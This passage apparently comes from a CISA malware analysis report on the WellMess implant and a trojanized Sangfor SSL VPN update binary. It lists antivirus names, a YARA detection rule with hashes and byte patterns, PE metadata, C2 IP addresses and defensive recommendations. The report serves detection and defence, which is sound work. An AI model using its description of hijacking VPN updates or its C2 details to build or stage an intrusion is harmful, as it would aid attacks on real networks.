Ahnlab Malware/Win32.Generic
Antiy GrayWare/Win32.Uwasson
ESET Win32/Spy.Agent.PXZ trojan
Ikarus Trojan-Spy.Agent
K7 Riskware ( 0040eff71 )
McAfee RDN/Generic.cf
Microsoft Security Essentials Trojan:Win32/Occamy.C
NetGate Trojan.Win32.Malware
VirusBlokAda Trojan.Agentb
YARA Rules
  • rule CISA_10296782_01 : trojan WELLMESS
    {
    meta:
        Author = "CISA Code & Media Analysis"
        Date= "2020-07-06"
        Last_Modified="20200706_1017"
        Actor="n/a"
        Category="Trojan"
        Family="WellMess"
        Description = "Detects WellMess implant and SangFor Exploit"
        MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
        SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
        MD5_2 = "a32e1202257a2945bf0f878c58490af8"
        SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
        MD5_3 = "861879f402fe3080ab058c0c88536be4"
        SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
        MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
        SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
        MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
        SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
        MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
        SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
        MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
        SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
        MD5_8 = "967fcf185634def5177f74b0f703bdc0"
        SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
        MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
        SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
        MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
        SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
        MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
        SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
        MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
        SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"
    strings:
        $0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
        $1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
        $2 = "GoProject/src/bot/botlib.deleteFile"
        $3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
        $4 = "GoProject/src/bot/botlib.AES_Decrypt"
        $5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
        $6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
        $7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
        $8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
        $9 = "get_keyRC6"
        $10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
        $11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
        $12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
        $13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
        $14 = "GoProject/src/bot/botlib.wellMess"
        $15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
        $16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
        $17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
        $18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
        $19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
        $20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }
        $21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }
        $22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }
        $23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }
        $24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61 72 67 3E 2E 2A 3F }
        $25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }
        $26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }
        $27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }
    condition:
       ($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14) or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 2018-03-12 10:02:59-04:00
Import Hash a723dab3d5a36cc8ad0ef65a0d4cfb3d
Company Name Sangfor Technologies Co.,Ltd
File Description SangforUD
Internal Name SangforUD.exe
Legal Copyright Copyright (C) 2015
Original Filename SangforUD.EXE
Product Name SangforUD application
Product Version 7.6.0.100
PE Sections
MD5 Name Raw Size Entropy
ed096fa6a0d25049398750d840d02748 header 1024 3.038012
0f2de5a1546886f5cb9876d918d333bf .text 238080 6.593105
398a48e3a63f160340ba9720a3f13bc8 .rdata 73728 5.589507
6f25e38b602834c202db365468104061 .data 4608 3.709410
1f354d76203061bfdd5a53dae48d5435 .tls 512 0.020393
093889615fb3f28b9066f7dc93650099 .rsrc 103936 3.885922
d404cb13c9f033a5b71c2d31cf474e6f .reloc 12800 6.522532
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Relationships
a4b790ddff... Connected_To 192.168.169.103
Description

This file is a 32-bit Windows executable and is similar in design and structure to the file 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75. This application is also designed to replace the update binaries served out from Sangfor SSL VPN devices. It uses the private IP address 192.168.169.103 as a C2 server.

192.168.169.103

Whois

Queried whois.arin.net with "n 192.168.169.103"...
NetRange:     192.168.0.0 - 192.168.255.255
CIDR:         192.168.0.0/16
NetName:        PRIVATE-ADDRESS-CBLK-RFC1918-IANA-RESERVED
NetHandle:     NET-192-168-0-0-1
Parent:         NET192 (NET-192-0-0-0-0)
NetType:        IANA Special Use
Organization: Internet Assigned Numbers Authority (IANA)
RegDate:        1994-03-15
Updated:        2013-08-30
Comment:        These addresses are in use by many millions of independently operated networks, which might be as small as a single computer connected to a home gateway, and are automatically configured in hundreds of millions of devices. They are only intended for use within a private context and traffic that needs to cross the Internet will need to use a different, unique address.
Comment:        These addresses can be used by anyone without any need to coordinate with IANA or an Internet registry. The traffic from these addresses does not come from ICANN or IANA. We are not the source of activity you may see on logs or in e-mail records. Please refer to http://www.iana.org/abuse/answers
Comment:        These addresses were assigned by the IETF, the organization that develops Internet protocols, in the Best Current Practice document, RFC 1918 which can be found at:
Comment:        http://datatracker.ietf.org/doc/rfc1918
Ref:            https://rdap.arin.net/registry/ip/192.168.0.0
OrgName:        Internet Assigned Numbers Authority
OrgId:         IANA
Address:        12025 Waterfront Drive
Address:        Suite 300
City:         Los Angeles
StateProv:     CA
PostalCode:     90292
Country:        US
Updated:        2012-08-31
Ref:            https://rdap.arin.net/registry/entity/IANA

Relationships
192.168.169.103 Connected_From a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064
Description

a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064 attempts to connect to the private IP address.

Relationship Summary

65495d173e... Connected_To 103.216.221.19
103.216.221.19 Connected_From 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
103.216.221.19 Connected_From 58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
58d8e65976... Connected_To 103.216.221.19
a4b790ddff... Connected_To 192.168.169.103
192.168.169.103 Connected_From a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

Revisions

July 16, 2020: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

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